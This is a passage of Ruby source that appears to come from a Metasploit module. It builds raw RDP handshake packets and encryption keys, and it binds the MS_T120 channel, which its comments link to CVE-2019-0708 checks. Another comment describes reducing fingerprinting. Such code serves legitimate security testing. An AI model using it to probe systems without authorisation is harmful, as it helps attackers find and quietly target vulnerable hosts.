vprint_error(\"Connection error: #{e.message}\")\r\n      return(false)\r\n    end\r\n  \r\n    return(true)\r\n  end\r\n\r\n  def rsa_encrypt(bignum, rsexp, rsmod)\r\n    return((bignum ** rsexp) % rsmod)\r\n  end\r\n\r\n  # ------------------------------------------------------------------------- #\r\n\r\n  ## Used to abruptly abort scanner for a given host.\r\n  class RdpCommunicationError < StandardError\r\n  end\r\n  \r\n  ## Define standard RDP constants.\r\n  class RDPConstants\r\n    PROTOCOL_RDP = 0\r\n  end\r\n\r\n  DEFAULT_CHANNELS_DEFS =\r\n  \"\\x04\\x00\\x00\\x00\" +                 # channelCount: 4\r\n\r\n  ## Channels definitions consist of a name (8 bytes) and options flags\r\n  ## (4 bytes). Names are up to 7 ANSI characters with null termination.\r\n  \"\\x72\\x64\\x70\\x73\\x6e\\x64\\x00\\x00\" + # rdpsnd\r\n  \"\\x0f\\x00\\x00\\xc0\" +\r\n  \"\\x63\\x6c\\x69\\x70\\x72\\x64\\x72\\x00\" + # cliprdr\r\n  \"\\x00\\x00\\xa0\\xc0\" +\r\n  \"\\x64\\x72\\x64\\x79\\x6e\\x76\\x63\" +     # drdynvc\r\n  \"\\x00\\x00\\x00\\x80\\xc0\" +\r\n  \"\\x4d\\x53\\x5f\\x54\\x31\\x32\\x30\" +     # MS_T120\r\n  \"\\x00\\x00\\x00\\x00\\x00\"\r\n\r\n  ## Builds x.224 Data (DT) TPDU - Section 13.7\r\n  def rdp_build_data_tpdu(data)\r\n    tpkt_length = data.length + 7\r\n\r\n    \"\\x03\\x00\" +                                                               # TPKT Header version 03, reserved 0\r\n    [tpkt_length].pack(\"S>\") +                                                 # TPKT length\r\n    \"\\x02\\xf0\" +                                                               # X.224 Data TPDU (2 bytes)\r\n    \"\\x80\" +                                                                   # X.224 End Of Transmission (0x80)\r\n    data\r\n  end\r\n\r\n  ## Build the X.224 packet, encrypt with Standard RDP Security as needed.\r\n  ## Default channel_id = 0x03eb = 1003.\r\n  def rdp_build_pkt(data, rc4enckey = nil, hmackey = nil, channel_id = \"\\x03\\xeb\", client_info = false, rdp_sec = true)\r\n    flags = 0\r\n    flags |= 0b1000 if(rdp_sec)                                                # Set SEC_ENCRYPT\r\n    flags |= 0b1000000 if(client_info)                                         # Set SEC_INFO_PKT\r\n\r\n    pdu = \"\"\r\n\r\n    ## TS_SECURITY_HEADER - 2.2.8.1.1.2.1\r\n    ## Send when the packet is encrypted w/ Standard RDP Security and in all Client Info PDUs.\r\n    if(client_info || rdp_sec)\r\n      pdu << [flags].pack(\"S<\")                                                # flags  \"\\x48\\x00\" = SEC_INFO_PKT | SEC_ENCRYPT\r\n      pdu << \"\\x00\\x00\"                                                        # flagsHi\r\n    end\r\n\r\n    if(rdp_sec)\r\n      ## Encrypt the payload with RDP Standard Encryption.\r\n      pdu << rdp_hmac(hmackey, data)[0..7]\r\n      pdu << rdp_rc4_crypt(rc4enckey, data)\r\n    else\r\n      pdu << data\r\n    end\r\n\r\n    user_data_len = pdu.length\r\n    udl_with_flag = 0x8000 | user_data_len\r\n\r\n    pkt =  \"\\x64\"                                                              # sendDataRequest\r\n    pkt << \"\\x00\\x08\"                                                          # intiator userId (TODO: for a functional client this isn't static)\r\n    pkt << channel_id                                                          # channelId\r\n    pkt << \"\\x70\"                                                              # dataPriority\r\n    pkt << [udl_with_flag].pack(\"S>\")\r\n    pkt << pdu\r\n\r\n    return(rdp_build_data_tpdu(pkt))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/73d01865-2eae-407f-9b2c-87e31daac471\r\n  ## Share Control Header - TS_SHARECONTROLHEADER - 2.2.8.1.1.1.1\r\n  def rdp_build_share_control_header(type, data, channel_id = \"\\xf1\\x03\")\r\n    total_len = data.length + 6\r\n\r\n    return(\r\n      [total_len].pack(\"S<\") +                                                 # totalLength - includes all headers\r\n      [type].pack(\"S<\") +                                                      # pduType - flags 16 bit, unsigned\r\n      channel_id +                                                             # PDUSource: 0x03f1 = 1009\r\n      data\r\n    )\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4b5d4c0d-a657-41e9-9c69-d58632f46d31\r\n  ## Share Data Header - TS_SHAREDATAHEADER - 2.2.8.1.1.1.2\r\n  def rdp_build_share_data_header(type, data)\r\n    uncompressed_len = data.length + 4\r\n\r\n    return(\r\n      \"\\xea\\x03\\x01\\x00\" +                                                     # shareId: 66538\r\n      \"\\x00\" +                                                                 # pad1\r\n      \"\\x01\" +                                                                 # streamID: 1\r\n      [uncompressed_len].pack(\"S<\") +                                          # uncompressedLength - 16 bit, unsigned int\r\n      [type].pack(\"C\") +                                                       # pduType2 - 8 bit, unsigned int - 2.2.8.1.1.2\r\n      \"\\x00\" +                                                                 # compressedType: 0\r\n      \"\\x00\\x00\" +                                                             # compressedLength: 0\r\n      data\r\n    )\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/6c074267-1b32-4ceb-9496-2eb941a23e6b\r\n  ## Virtual Channel PDU 2.2.6.1\r\n  def rdp_build_virtual_channel_pdu(flags, data)\r\n    data_len = data.length\r\n\r\n    return(\r\n      [data_len].pack(\"L<\") +                                                  # length\r\n      [flags].pack(\"L<\") +                                                     # flags\r\n      data\r\n    )\r\n  end\r\n\r\n  def rdp_calculate_rc4_keys(client_random, server_random)\r\n    ## preMasterSecret = First192Bits(ClientRandom) + First192Bits(ServerRandom).\r\n    preMasterSecret = client_random[0..23] + server_random[0..23]\r\n\r\n    ## PreMasterHash(I) = SaltedHash(preMasterSecret, I)\r\n    ## MasterSecret = PreMasterHash(0x41) + PreMasterHash(0x4242) + PreMasterHash(0x434343).\r\n    masterSecret = rdp_salted_hash(preMasterSecret, \"A\", client_random,server_random) +  rdp_salted_hash(preMasterSecret, \"BB\", client_random, server_random) + rdp_salted_hash(preMasterSecret, \"CCC\", client_random, server_random)\r\n\r\n    ## MasterHash(I) = SaltedHash(MasterSecret, I)\r\n    ## SessionKeyBlob = MasterHash(0x58) + MasterHash(0x5959) + MasterHash(0x5A5A5A).\r\n    sessionKeyBlob = rdp_salted_hash(masterSecret, \"X\", client_random, server_random) +  rdp_salted_hash(masterSecret, \"YY\", client_random, server_random) + rdp_salted_hash(masterSecret, \"ZZZ\", client_random, server_random)\r\n\r\n    ## InitialClientDecryptKey128 = FinalHash(Second128Bits(SessionKeyBlob)).\r\n    initialClientDecryptKey128 = rdp_final_hash(sessionKeyBlob[16..31], client_random, server_random)\r\n\r\n    ## InitialClientEncryptKey128 = FinalHash(Third128Bits(SessionKeyBlob)).\r\n    initialClientEncryptKey128 = rdp_final_hash(sessionKeyBlob[32..47], client_random, server_random)\r\n\r\n    macKey = sessionKeyBlob[0..15]\r\n\r\n    return initialClientEncryptKey128, initialClientDecryptKey128, macKey, sessionKeyBlob\r\n  end\r\n\r\n  def rdp_connection_initiation()\r\n    ## Code to check if RDP is open or not.\r\n    vprint_status(\"Verifying RDP protocol...\")\r\n\r\n    vprint_status(\"Attempting to connect using RDP security\")\r\n    rdp_send(pdu_negotiation_request(datastore['RDP_USER'], RDPConstants::PROTOCOL_RDP))\r\n\r\n    received = sock.get_once(-1, 5)\r\n\r\n    ## TODO: fix it.\r\n    if (received and received.include? \"\\x00\\x12\\x34\\x00\")\r\n      return(true)\r\n    end\r\n\r\n    return(false)\r\n  end\r\n\r\n  ##  FinalHash(K) = MD5(K + ClientRandom + ServerRandom).\r\n  def rdp_final_hash(k, client_random_bytes, server_random_bytes)\r\n    md5 = Digest::MD5.new\r\n\r\n    md5 << k\r\n    md5 << client_random_bytes\r\n    md5 << server_random_bytes\r\n\r\n    return([md5.hexdigest].pack(\"H*\"))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7c61b54e-f6cd-4819-a59a-daf200f6bf94\r\n  ## mac_salt_key = \"W\\x13\\xc58\\x7f\\xeb\\xa9\\x10*\\x1e\\xddV\\x96\\x8b[d\"\r\n  ## data_content = \"\\x12\\x00\\x17\\x00\\xef\\x03\\xea\\x03\\x02\\x00\\x00\\x01\\x04\\x00$\\x00\\x00\\x00\"\r\n  ## hmac         = rdp_hmac(mac_salt_key, data_content)                       # hexlified: \"22d5aeb486994a0c785dc929a2855923\".\r\n  def rdp_hmac(mac_salt_key, data_content)\r\n    sha1 = Digest::SHA1.new\r\n    md5 = Digest::MD5.new\r\n\r\n    pad1 = \"\\x36\" * 40\r\n    pad2 = \"\\x5c\" * 48\r\n\r\n    sha1 << mac_salt_key\r\n    sha1 << pad1\r\n    sha1 << [data_content.length].pack('<L')\r\n    sha1 << data_content\r\n\r\n    md5 << mac_salt_key\r\n    md5 << pad2\r\n    md5 << [sha1.hexdigest].pack(\"H*\")\r\n\r\n    return([md5.hexdigest].pack(\"H*\"))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/927de44c-7fe8-4206-a14f-e5517dc24b1c\r\n  ## Parse Server MCS Connect Response PUD - 2.2.1.4\r\n  def rdp_parse_connect_response(pkt)\r\n    ptr = 0\r\n    rdp_pkt = pkt[0x49..pkt.length]\r\n\r\n    while(ptr < rdp_pkt.length)\r\n      header_type = rdp_pkt[ptr..ptr + 1]\r\n      header_length = rdp_pkt[ptr + 2..ptr + 3].unpack(\"S<\")[0]\r\n      # vprint_status(\"header: #{bin_to_hex(header_type)}, len: #{header_length}\")\r\n\r\n      if(header_type == \"\\x02\\x0c\")\r\n        # vprint_status(\"Security header\")\r\n\r\n        server_random = rdp_pkt[ptr + 20..ptr + 51]\r\n        public_exponent = rdp_pkt[ptr + 84..ptr + 87]\r\n\r\n        modulus = rdp_pkt[ptr + 88..ptr + 151]\r\n        # vprint_status(\"modulus_old: #{bin_to_hex(modulus)}\")\r\n\r\n        rsa_magic = rdp_pkt[ptr + 68..ptr + 71]\r\n        if(rsa_magic != \"RSA1\")\r\n          print_error(\"Server cert isn't RSA, this scenario isn't supported (yet).\")\r\n          raise RdpCommunicationError\r\n        end\r\n        # vprint_status(\"RSA magic: #{rsa_magic}\")\r\n        \r\n        bitlen = rdp_pkt[ptr + 72..ptr + 75].unpack(\"L<\")[0] - 8\r\n        vprint_status(\"RSA #{bitlen}-bits\")\r\n\r\n        modulus = rdp_pkt[ptr + 88..ptr + 87 + bitlen]\r\n        # vprint_status(\"modulus_new: #{bin_to_hex(modulus)}\")\r\n      end\r\n\r\n      ptr += header_length\r\n    end\r\n\r\n    # vprint_status(\"SERVER_MODULUS:  #{bin_to_hex(modulus)}\")\r\n    # vprint_status(\"SERVER_EXPONENT: #{bin_to_hex(public_exponent)}\")\r\n    # vprint_status(\"SERVER_RANDOM:   #{bin_to_hex(server_random)}\")\r\n\r\n    rsmod = bytes_to_bignum(modulus)\r\n    rsexp = bytes_to_bignum(public_exponent)\r\n    rsran = bytes_to_bignum(server_random)\r\n\r\n    vprint_status(\"MODULUS:  #{bin_to_hex(modulus)} - #{rsmod.to_s}\")\r\n    vprint_status(\"EXPONENT: #{bin_to_hex(public_exponent)} - #{rsexp.to_s}\")\r\n    vprint_status(\"SVRANDOM: #{bin_to_hex(server_random)} - #{rsran.to_s}\")\r\n\r\n    return rsmod, rsexp, rsran, server_random, bitlen\r\n  end\r\n\r\n  def rdp_rc4_crypt(rc4obj, data)\r\n    rc4obj.encrypt(data)\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/705f9542-b0e3-48be-b9a5-cf2ee582607f\r\n  ## SaltedHash(S, I) = MD5(S + SHA(I + S + ClientRandom + ServerRandom))\r\n  def rdp_salted_hash(s_bytes, i_bytes, client_random_bytes, server_random_bytes)\r\n    sha1 = Digest::SHA1.new\r\n    md5 = Digest::MD5.new\r\n\r\n    sha1 << i_bytes\r\n    sha1 << s_bytes\r\n    sha1 << client_random_bytes\r\n    sha1 << server_random_bytes\r\n\r\n    md5 << s_bytes\r\n    md5 << [sha1.hexdigest].pack(\"H*\")\r\n\r\n    return([md5.hexdigest].pack(\"H*\"))\r\n  end\r\n\r\n  def rdp_recv()\r\n    buffer_1 = sock.get_once(4, 5)\r\n    raise RdpCommunicationError unless buffer_1                                # nil due to a timeout\r\n\r\n    buffer_2 = sock.get_once(buffer_1[2..4].unpack(\"S>\")[0], 5)\r\n    raise RdpCommunicationError unless buffer_2                                # nil due to a timeout\r\n\r\n    vprint_status(\"Received data: #{bin_to_hex(buffer_1 + buffer_2)}\")\r\n    return(buffer_1 + buffer_2)\r\n  end\r\n\r\n  def rdp_send(data)\r\n    vprint_status(\"Send data: #{bin_to_hex(data)}\")\r\n\r\n    sock.put(data)\r\n  end\r\n\r\n  def rdp_sendrecv(data)\r\n    rdp_send(data)\r\n\r\n    return(rdp_recv())\r\n  end\r\n\r\n  # ------------------------------------------------------------------------- #\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/18a27ef9-6f9a-4501-b000-94b1fe3c2c10\r\n  ## Client X.224 Connect Request PDU - 2.2.1.1\r\n  def pdu_negotiation_request(user_name = \"\", requested_protocols = RDPConstants::PROTOCOL_RDP)\r\n    ## Blank username is valid, nil is random.\r\n    user_name = Rex::Text.rand_text_alpha(12) if(user_name.nil?)\r\n    tpkt_len = user_name.length + 38\r\n    x224_len = user_name.length + 33\r\n\r\n    return(\r\n      \"\\x03\\x00\" +                                                             # TPKT Header version 03, reserved 0\r\n      [tpkt_len].pack(\"S>\") +                                                  # TPKT length: 43\r\n      [x224_len].pack(\"C\") +                                                   # X.224 LengthIndicator\r\n      \"\\xe0\" +                                                                 # X.224 Type: Connect Request\r\n      \"\\x00\\x00\" +                                                             # dst reference\r\n      \"\\x00\\x00\" +                                                             # src reference\r\n      \"\\x00\" +                                                                 # class and options\r\n      \"\\x43\\x6f\\x6f\\x6b\\x69\\x65\\x3a\\x20\\x6d\\x73\\x74\\x73\\x68\\x61\\x73\\x68\\x3d\" + # cookie - literal 'Cookie: mstshash='\r\n      user_name +                                                              # Identifier \"username\"\r\n      \"\\x0d\\x0a\" +                                                             # cookie terminator\r\n      \"\\x01\\x00\" +                                                             # Type: RDP Negotiation Request (0x01)\r\n      \"\\x08\\x00\" +                                                             # Length\r\n      [requested_protocols].pack('L<')                                         # requestedProtocols\r\n    )\r\n  end\r\n\r\n  # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b\r\n  def pdu_connect_initial(selected_proto = RDPConstants::PROTOCOL_RDP, host_name = \"rdesktop\", channels_defs = DEFAULT_CHANNELS_DEFS)\r\n    ## After negotiating TLS or NLA the connectInitial packet needs to include the\r\n    ## protocol selection that the server indicated in its negotiation response.\r\n\r\n    ## TODO: If this is pulled into an RDP library then the channel list likely\r\n    ## needs to be build dynamically. For example, MS_T120 likely should only\r\n    ## ever be sent as part of checks for CVE-2019-0708.\r\n\r\n    ## build clientName - 12.2.1.3.2 Client Core Data (TS_UD_CS_CORE)\r\n    ## 15 characters + null terminator, converted to unicode\r\n    ## fixed length - 32 characters total\r\n    name_unicode = Rex::Text.to_unicode(host_name[0..14], type = 'utf-16le')\r\n    name_unicode += \"\\x00\" * (32 - name_unicode.length)\r\n\r\n    pdu = \"\\x7f\\x65\" +                                                         # T.125 Connect-Initial    (BER: Application 101)\r\n    \"\\x82\\x01\\xb2\" +                                                           # Length                   (BER: Length)\r\n    \"\\x04\\x01\\x01\" +                                                           # CallingDomainSelector: 1 (BER: OctetString)\r\n    \"\\x04\\x01\\x01\" +                                                           # CalledDomainSelector: 1  (BER: OctetString)\r\n    \"\\x01\\x01\\xff\" +                                                           # UpwaredFlag: True        (BER: boolean)\r\n\r\n    ## Connect-Initial: Target Parameters\r\n    \"\\x30\\x19\" +                                                               # TargetParamenters        (BER: SequenceOf)\r\n    ## *** not sure why the BER encoded Integers below have 2 byte values instead of one ***\r\n    \"\\x02\\x01\\x22\\x02\\x01\\x02\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\xff\\xff\\x02\\x01\\x02\" +\r\n\r\n    ## Connect-Intial: Minimum Parameters\r\n    \"\\x30\\x19\" +                                                               # MinimumParameters        (BER: SequencOf)\r\n    \"\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\x04\\x20\\x02\\x01\\x02\" +\r\n\r\n    ## Connect-Initial: Maximum Parameters\r\n    \"\\x30\\x1c\" +                                                               # MaximumParameters        (BER: SequencOf)\r\n    \"\\x02\\x02\\xff\\xff\\x02\\x02\\xfc\\x17\\x02\\x02\\xff\\xff\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\xff\\xff\\x02\\x01\\x02\" +\r\n\r\n    ## Connect-Initial: UserData\r\n    \"\\x04\\x82\\x01\\x51\" +                                                       # UserData, length 337     (BER: OctetString)\r\n\r\n    ## T.124 GCC Connection Data (ConnectData) - PER Encoding used\r\n    \"\\x00\\x05\" +                                                               # object length\r\n    \"\\x00\\x14\\x7c\\x00\\x01\" +                                                   # object: OID 0.0.20.124.0.1 = Generic Conference Control\r\n    \"\\x81\\x48\" +                                                               # Length: ??? (Connect PDU)\r\n    \"\\x00\\x08\\x00\\x10\\x00\\x01\\xc0\\x00\" +                                       # T.124 Connect PDU, Conference name 1\r\n    \"\\x44\\x75\\x63\\x61\" +                                                       # h221NonStandard: 'Duca' (client-to-server H.221 key)\r\n    \"\\x81\\x3a\" +                                                               # Length: ??? (T.124 UserData section)\r\n\r\n    ## Client MCS Section - 2.2.1.3\r\n    \"\\x01\\xc0\" +                                                               # clientCoreData (TS_UD_CS_CORE) header - 2.2.1.3.2\r\n    \"\\xea\\x00\" +                                                               # Length: 234 (includes header)\r\n    \"\\x0a\\x00\\x08\\x00\" +                                                       # version: 8.1 (RDP 5.0 -> 8.1)\r\n    \"\\x80\\x07\" +                                                               # desktopWidth: 1920\r\n    \"\\x38\\x04\" +                                                               # desktopHeigth: 1080\r\n    \"\\x01\\xca\" +                                                               # colorDepth: 8 bpp\r\n    \"\\x03\\xaa\" +                                                               # SASSequence: 43523\r\n    \"\\x09\\x04\\x00\\x00\" +                                                       # keyboardLayout: 1033 (English US)\r\n    \"\\xee\\x42\\x00\\x00\" +                                                       # clientBuild: ????\r\n    [name_unicode].pack(\"a*\") +                                                # clientName\r\n    \"\\x04\\x00\\x00\\x00\" +                                                       # keyboardType: 4 (IBMEnhanced 101 or 102)\r\n    \"\\x00\\x00\\x00\\x00\" +                                                       # keyboadSubtype: 0\r\n    \"\\x0c\\x00\\x00\\x00\" +                                                       # keyboardFunctionKey: 12\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +       # imeFileName (64 bytes)\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n    \"\\x01\\xca\" +                                                               # postBeta2ColorDepth: 8 bpp\r\n    \"\\x01\\x00\" +                                                               # clientProductID: 1\r\n    \"\\x00\\x00\\x00\\x00\" +                                                       # serialNumber: 0\r\n    \"\\x18\\x00\" +                                                               # highColorDepth: 24 bpp\r\n    \"\\x0f\\x00\" +                                                               # supportedColorDepths: flag (24 bpp | 16 bpp | 15 bpp)\r\n    \"\\xaf\\x07\" +                                                               # earlyCapabilityFlags\r\n    \"\\x62\\x00\\x63\\x00\\x37\\x00\\x38\\x00\\x65\\x00\\x66\\x00\\x36\\x00\\x33\\x00\" +       # clientDigProductID (64 bytes)\r\n    \"\\x2d\\x00\\x39\\x00\\x64\\x00\\x33\\x00\\x33\\x00\\x2d\\x00\\x34\\x00\\x31\\x00\" +\r\n    \"\\x39\\x38\\x00\\x38\\x00\\x2d\\x00\\x39\\x00\\x32\\x00\\x63\\x00\\x66\\x00\\x2d\" +\r\n    \"\\x00\\x00\\x31\\x00\\x62\\x00\\x32\\x00\\x64\\x00\\x61\\x00\\x42\\x42\\x42\\x42\" +\r\n    \"\\x07\" +                                                                   # connectionType: 7\r\n    \"\\x00\" +                                                                   # pad1octet\r\n    \r\n    ## serverSelectedProtocol - After negotiating TLS or CredSSP this value\r\n    ## must match the selectedProtocol value from the server's Negotiate\r\n    ## Connection confirm PDU that was sent before encryption was started.\r\n    [selected_proto].pack('L<') +                                              # \"\\x01\\x00\\x00\\x00\"\r\n    \r\n    \"\\x56\\x02\\x00\\x00\" +\r\n    \"\\x50\\x01\\x00\\x00\" +\r\n    \"\\x00\\x00\" +\r\n    \"\\x64\\x00\\x00\\x00\" +\r\n    \"\\x64\\x00\\x00\\x00\" +\r\n\r\n    \"\\x04\\xc0\" +                                                               # clientClusterdata (TS_UD_CS_CLUSTER) header - 2.2.1.3.5\r\n    \"\\x0c\\x00\" +                                                               # Length: 12 (includes header)\r\n    \"\\x15\\x00\\x00\\x00\" +                                                       # flags (REDIRECTION_SUPPORTED | REDIRECTION_VERSION3)\r\n    \"\\x00\\x00\\x00\\x00\" +                                                       # RedirectedSessionID\r\n    \"\\x02\\xc0\" +                                                               # clientSecuritydata (TS_UD_CS_SEC) header - 2.2.1.3.3\r\n    \"\\x0c\\x00\" +                                                               # Length: 12 (includes header)\r\n    \"\\x1b\\x00\\x00\\x00\" +                                                       # encryptionMethods: 3 (40 bit | 128 bit)\r\n    \"\\x00\\x00\\x00\\x00\" +                                                       # extEncryptionMethods (French locale only)\r\n    \"\\x03\\xc0\" +                                                               # clientNetworkData (TS_UD_CS_NET) - 2.2.1.3.4\r\n    \"\\x38\\x00\" +                                                               # Length: 56 (includes header)\r\n    channels_defs\r\n\r\n    ## Fix. for packet modification.\r\n    ## T.125 Connect-Initial\r\n    size_1 = [pdu.length - 5].pack(\"s\")                                        # Length (BER: Length)\r\n    pdu[3] = size_1[1]\r\n    pdu[4] = size_1[0]\r\n\r\n    ## Connect-Initial: UserData\r\n    size_2 = [pdu.length - 102].pack(\"s\")                                      # UserData, length (BER: OctetString)\r\n    pdu[100] = size_2[1]\r\n    pdu[101] = size_2[0]\r\n\r\n    ## T.124 GCC Connection Data (ConnectData) - PER Encoding used\r\n    size_3 = [pdu.length - 111].pack(\"s\")                                      # Length (Connect PDU)\r\n    pdu[109] = \"\\x81\"\r\n    pdu[110] = size_3[0]\r\n\r\n    size_4 = [pdu.length - 125].pack(\"s\")                                      # Length (T.124 UserData section)\r\n    pdu[123] = \"\\x81\"\r\n    pdu[124] = size_4[0]\r\n\r\n    ## Client MCS Section - 2.2.1.3\r\n    size_5 = [pdu.length - 383].pack(\"s\")                                      # Length (includes header)\r\n    pdu[385] = size_5[0]\r\n\r\n    rdp_build_data_tpdu(pdu)\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9cde84cd-5055-475a-ac8b-704db419b66f\r\n  ## Client Security Exchange PDU - 2.2.1.10\r\n  def pdu_security_exchange(rcran, rsexp, rsmod, bitlen)\r\n    encrypted_rcran_bignum = rsa_encrypt(rcran, rsexp, rsmod)\r\n    encrypted_rcran = int_to_bytestring(encrypted_rcran_bignum)\r\n\r\n    bitlen += 8                                                                # Pad with size of TS_SECURITY_PACKET header\r\n\r\n    userdata_length = 8 + bitlen\r\n    userdata_length_low = userdata_length & 0xFF\r\n    userdata_length_high = userdata_length / 256\r\n    flags = 0x80 | userdata_length_high\r\n\r\n    pdu = \"\\x64\" +                                                             # T.125 sendDataRequest\r\n    \"\\x00\\x08\" +                                                               # intiator userId\r\n    \"\\x03\\xeb\" +                                                               # channelId = 1003\r\n    \"\\x70\" +                                                                   # dataPriority = high, segmentation = begin | end\r\n    [flags].pack(\"C\") +\r\n    [userdata_length_low].pack(\"C\") +                                          # UserData length\r\n    \r\n    # TS_SECURITY_PACKET - 2.2.1.10.1\r\n    \"\\x01\\x00\" +                                                               # securityHeader flags\r\n    \"\\x00\\x00\" +                                                               # securityHeader flagsHi\r\n    [bitlen].pack(\"L<\") +                                                      # TS_ length\r\n    encrypted_rcran +                                                          # encryptedClientRandom - 64 bytes\r\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"                                         # 8 bytes rear padding (always present)\r\n\r\n    return(rdp_build_data_tpdu(pdu))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/04c60697-0d9a-4afd-a0cd-2cc133151a9c\r\n  ## Client MCS Erect Domain Request PDU - 2.2.1.5\r\n  def pdu_erect_domain_request()\r\n    pdu = \"\\x04\" +                                                             # T.125 ErectDomainRequest\r\n    \"\\x01\\x00\" +                                                               # subHeight   - length 1, value 0\r\n    \"\\x01\\x00\"                                                                 # subInterval - length 1, value 0\r\n\r\n    return(rdp_build_data_tpdu(pdu))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/f5d6a541-9b36-4100-b78f-18710f39f247\\\r\n  ## Client MCS Attach User Request PDU - 2.2.1.6\r\n  def pdu_attach_user_request()\r\n    pdu = \"\\x28\"                                                               # T.125 AttachUserRequest\r\n\r\n    return(rdp_build_data_tpdu(pdu))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b\r\n  ## Client MCS Channel Join Request PDU -2.2.1.8\r\n  def pdu_channel_request(user1, channel_id)\r\n    pdu = \"\\x38\" + [user1, channel_id].pack(\"nn\")                              # T.125 ChannelJoinRequest\r\n\r\n    return(rdp_build_data_tpdu(pdu))\r\n  end\r\n\r\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/772d618e-b7d6-4cd0-b735-fa08af558f9d\r\n  ## TS_INFO_PACKET - 2.2.1.11.1.1\r\n  def pdu_client_info(user_name, domain_name = \"\", ip_address = \"\")\r\n    ## Max. len for 4.0/6.0 servers is 44 bytes including terminator.\r\n    ## Max. len for all other versions is 512 including terminator.\r\n    ## We're going to limit to 44 (21 chars + null -> unicode) here.\r\n    \r\n    ## Blank username is valid, nil = random.\r\n    user_name = Rex::Text.rand_text_alpha(10) if user_name.nil?\r\n    user_unicode = Rex::Text.to_unicode(user_name[0..20],  type = 'utf-16le')\r\n    uname_len = user_unicode.length\r\n\r\n    ## Domain can can be, and for rdesktop typically is, empty.\r\n    ## Max. len for 4.0/5.0 servers is 52 including terminator.\r\n    ## Max. len for all other versions is 512 including terminator.\r\n    ## We're going to limit to 52 (25 chars + null -> unicode) here.\r\n    domain_unicode = Rex::Text.to_unicode(domain_name[0..24], type = 'utf-16le')\r\n    domain_len = domain_unicode.length\r\n\r\n    ## This address value is primarily used to reduce the fields by which this\r\n    ## module can be fingerprinted. It doesn't show up in Windows logs.\r\n    ## clientAddress + null terminator\r\n    ip_unicode = Rex::Text.to_unicode(ip_address, type = 'utf-16le') + \"\\x00\\x00\"\r\n    ip_len = ip_unicode.length\r\n    \r\n    pdu = \"\\xa1\\xa5\\x09\\x04\" +\r\n    \"\\x09\\x04\\xbb\\x47\" +                                                       # CodePage\r\n    \"\\x03\\x00\\x00\\x00\" +                                                       # flags - INFO_MOUSE, INFO_DISABLECTRLALTDEL, INFO_UNICODE, INFO_MAXIMIZESHELL, INFO_ENABLEWINDOWSKEY\r\n    [domain_len].pack(\"S<\") +                                                  # cbDomain (length value) - EXCLUDES null terminator\r\n    [uname_len].pack(\"S<\") +                                                   # cbUserName (length value) - EXCLUDES null terminator\r\n    \"\\x00\\x00\" +                                                               # cbPassword (length value)\r\n    \"\\x00\\x00\" +                                                               # cbAlternateShell (length value)\r\n    \"\\x00\\x00\" +                                                               # cbWorkingDir (length value)\r\n    [domain_unicode].pack(\"a*\") +                                              # Domain\r\n    \"\\x00\\x00\" +                                                               # Domain null terminator, EXCLUDED from value of cbDomain\r\n    [user_unicode].pack(\"a*\") +                                                # UserName\r\n    \"\\x00\\x00\" +                                                               # UserName null terminator, EXCLUDED FROM value of cbUserName\r\n    \"\\x00\\x00\" +                                                               # Password - empty\r\n    \"\\x00\\x00\" +                                                               # AlternateShell - empty\r\n\r\n    ## TS_EXTENDED_INFO_PACKET - 2.2.1.11.1.1.1\r\n    \"\\x02\\x00\" +                                                               # clientAddressFamily - AF_INET - FIXFIX - detect and set dynamically\r\n    [ip_len].pack(\"S<\") +                                                      # cbClientAddress (length value) - INCLUDES terminator ... for reasons.\r\n    [ip_unicode].pack(\"a*\") +                                                  # clientAddress (unicode + null terminator (unicode)\r\n\r\n    \"\\x3c\\x00\" +                                                               # cbClientDir (length value): 60\r\n    \"\\x43\\x00\\x3a\\x00\\x5c\\x00\\x57\\x00\\x49\\x00\\x4e\\x00\\x4e\\x00\\x54\\x00\" +       # clientDir - 'C:\\WINNT\\System32\\mstscax.dll' + null terminator\r\n    \"\\x5c\\x00\\x53\\x00\\x79\\x00\\x73\\x00\\x74\\x00\\x65\\x00\\x6d\\x00\\x33\\x00\" +\r\n    \"\\x32\\x00\\x5c\\x00\\x6d\\x00\\x73\\x00\\x74\\x00\\x73\\x00\\x63\\x00\\x61\\x00\" +\r\n    